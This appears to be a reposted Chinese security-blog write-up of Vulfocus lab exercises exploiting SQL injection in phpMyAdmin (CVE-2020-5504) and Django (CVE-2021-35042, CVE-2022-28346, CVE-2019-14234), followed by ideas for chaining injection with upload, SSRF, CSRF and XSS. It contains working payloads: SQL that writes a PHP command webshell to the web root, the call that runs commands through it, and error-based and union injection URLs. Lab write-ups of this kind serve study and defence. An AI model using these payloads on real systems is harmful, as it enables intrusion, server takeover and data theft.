多种SQL注入漏洞打组合拳getshell过程详情 | 干货
2023-4-20 20:1:42 Author: 渗透安全团队(查看原文) 阅读量:26 收藏

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

工作总结 / SUMMARY

文件读取目标
【phpmyadmin-SQL注入】数据库中写马
【Django-SQL注入1】接口中可控参数注入
【Django-SQL注入2】可控参数注入
【Django-SQL注入3】参数注入
SQL漏洞-组合思路
5个组合思维

phpmyadmin-SQL注入

vulfocus/phpmyadmin-cve_2020_5504

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:64697

编辑

(看见这种页面,一般人就直接放弃了)

编辑

1.2、知识:

1、<pre>

pre 元素可定义预格式化的文本。被包围在 pre 元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。

<pre> 标签的一个常见应用就是用来表示计算机的源代码

2、写马

select into outfile "/path/file"

(知道log路径,也可以写入log中,如select '<?php eval($_GET[g]);?>')

1.3、描述:

基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等

(mysql是不允许外网连接的,有第三方工具就方便多了)



2.1、分析:

URL后面加上/pma/index.php

(进入到了登陆页面)

提示的

账号密码root/123456

编辑

编辑

执行SQL语句

编辑

输入

select @@datadir

(查询数据库的路径)

编辑

select @@basedir

(查询MYSQL数据库的安装路径)

编辑

网站路径就凭经验和爆破了

SELECT load_file('/var/www/html/pma/index.php')

返回数据包4kb,一看就有东西,就对了

所以网站绝对路径为/var/www/html/pma

编辑


写马

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/shell.php'

编辑


其他思路:

在sql执行环境下也有其他方法传参(但太过于复杂,token还需要截取点击go后的数据包来填)

http://ip:port/pma/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))–+db=&token=&viewing_mode=server

而且要一级一级往下去查询

(所以能写马,就写马)

2.4、解题:

使用写入的参数cmd传入值 

刚开始用的cat读取文件(一想才知道flag是文件名)

编辑

http://ip:port/pma/shell.php?cmd=ls /tmp

编辑

Django-SQL注入1

Django-SQL注入CVE-2021-35042

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:30212

编辑

打开直接给了一个vuln接口(送分了属于是)

编辑

1.2、知识:

1、也就是分析参数带入前后有没有发生变化了

但很多时候仅仅通过页面,是无法分析出的

(使用bp抓包后,对数据包分析是否有差别)

2、掌握基本函数,注入方法

updatexml报错注入

`concat()`函数是将其连成一个字符串,因此不会符合`XPath_string`的格式,因此会造成格式错误

`0x7e` ASCII码(为`~`),updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符

1.3、描述:

Django 3.2 ,3.1

允许 QuerySet.order_by SQL 注入。http://ip:port/vuln/?order=



2.1、分析:

编辑

http://ip:port/vuln/?order=id

(从1到4升序排列)

编辑 

http://ip:port/vuln/?order=-id

 (从4到1降序排列)

编辑

返回的数据随值的改变而改变

 (带入到了数据库中被执行)

可以通过报错注入,来查看信息

http://ip:port/vuln/?order=vuln_collection.id);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23

编辑

/vuln/?order=vuln_collection.id);select updatexml(1, concat(0x7e,(select @@version)),1)%23

编辑

/vuln/?order=vuln_collection.id);select updatexml(1, concat(0x7e,(select database())),1)%23

编辑 

/vuln/?order=vuln_collection.id);select updatexml(1,concat(0x7e,(select user())),1)%23编辑

 ……

(报数据库,表,字段,数据)

2.4、解题:

编辑

Django-SQL注入2

vulfocus/django-cve_2022_28346

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:36682

编辑

 (我之前实战中遇见过很多这种草率的页面,都以为放弃就没管了,害)编辑

1.2、知识:

1、报错回显参数(黑盒有点难遇见)

得找那种以前的老网站看看,关注回显的参数等信息

2、代码审计(白盒)

寻找危险函数,及用户可控的变量地方,跟踪变量,查看过滤机制,以及是否被带入SQL语句中执行

1.3、描述:

1、Django在2.2.28 版本之前的2.2版本、3.2.13版本之前的3.2版本、4.0.4版本之前的4.0版本使用QuerySet.annotate() aggregate() extra()数据

2、QuerySet.annotate()、aggregate() 和 extra() 方法会通过精心制作的字典(带有字典扩展)作为传递的 **kwargs 在列别名中进行 SQL 注入。



2.1、分析:

查看报错页面,是否存在信息泄露

demo/

编辑

访问demo接口,分析是否有其他信息泄露,或能传参

报错信息提示了一个参数name

编辑

访问:http://ip:port/demo?field=demo.name
编辑

POC:

http://ip:port/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

编辑

2.4、解题:

http://123.58.224.8:36682/demo/?field=demo.name" FROM "demo_user" union SELECT "1",phpinfo(),"3" --

编辑

django-SQL注入3

vulfocus/django-cve_2019_14234

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:23290

编辑

(如果显示连接超时也是正常的,继续往后看)

编辑

1.2、知识:

1、参数带入(白盒更容易分析参数,黑盒就在数据包里面看看运气)

源码分析,如果在Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入

2、路径

源码审计,路径可以方便得到。黑盒的话,也得分析数据包,看天吃饭了

1.3、描述:

Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句



2.1、分析:

URL后面上加上

/admin/

从右上角可以看出已经处于登陆状态了

编辑

此时URL输入为

http://ip:port/admin/vuln/collection/

(这一看就是查询的地方)

编辑

/admin/vuln/collection/?detail__a'b=1编辑


其他思路:

1、考虑使用 or 1=1 永真带出数据

2、使用DNSLog带外

2.4、解题:

编辑


SQL注入-组合漏洞

组合漏洞

1、文件上传功能+SQL注入

1)目的:向包含文件上传功能的Web应用程序发送恶意请求,以便绕过服务器端的验证和过滤,将恶意文件上传到服务器上,然后执行恶意代码。

2)使用SQL注入技术来绕过应用程序的验证和过滤,从而成功恶意代码,使Web应用程序在上传后将文件存储到服务器上

3)利用服务器上存储的恶意代码来控制、攻击、破坏或盗取数据等操作

——————————————

——————————————

2、SQL注入+SSRF(服务器端请求伪造)

目的:获取更多信息

1)通过SQL注入,获取到存储在数据库中的URL和IP地址

2)然后更改应用程序的请求方式,将伪造的请求发送到一个URL(该URL是存储在数据库中的目标URL之一)

3)使用这种技术来绕过防火墙和其他安全措施,以访问受限资源,从而完成SSRF攻击

——————————————

——————————————

3、SQL注入+件包含

1)通过SQL注入获取到数据库中存储的文件的路径

2)将这个路径放到包含文件的代码中,从而实现文件包含漏洞攻击

——————————————

——————————————

4、SQL注入+CSRF(跨站请求伪造)

1)SQL注入是攻击后端数据库,而CSRF是攻击前端网站

2)SQL注入获取到用户的登录凭证,或者在数据库中插入一些假用户,并将这些用户的凭证记录下来。

3)将这些凭证应用于CSRF攻击中

——————————————

——————————————

5、SQL注入+XSS( 跨站脚本攻击)

1)SQL注入是利用传入的数据来修改或者篡改数据库中的数据

2)XSS则是利用网站上的漏洞注入恶意脚本,以达到获取敏感信息或者控制网站的目的

3)如果存在SQL注入漏洞,可以利用SQL漏洞来注入恶意脚本来实现XSS攻击

4)利用SQL注入漏洞来向数据库中插入带有恶意脚本的数据

5)当网站将这些数据从数据库中提取出来并显示在网页上时,这些恶意脚本就被执行


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247503400&idx=2&sn=e555790fdc1e1222b84c37ac790ea08d&chksm=c1763387f601ba912765c3fccada0e0ba2f56ab39e57022585d3bc4c68ca7a6c685dbb350a3f#rd
如有侵权请联系:admin#unsafe.sh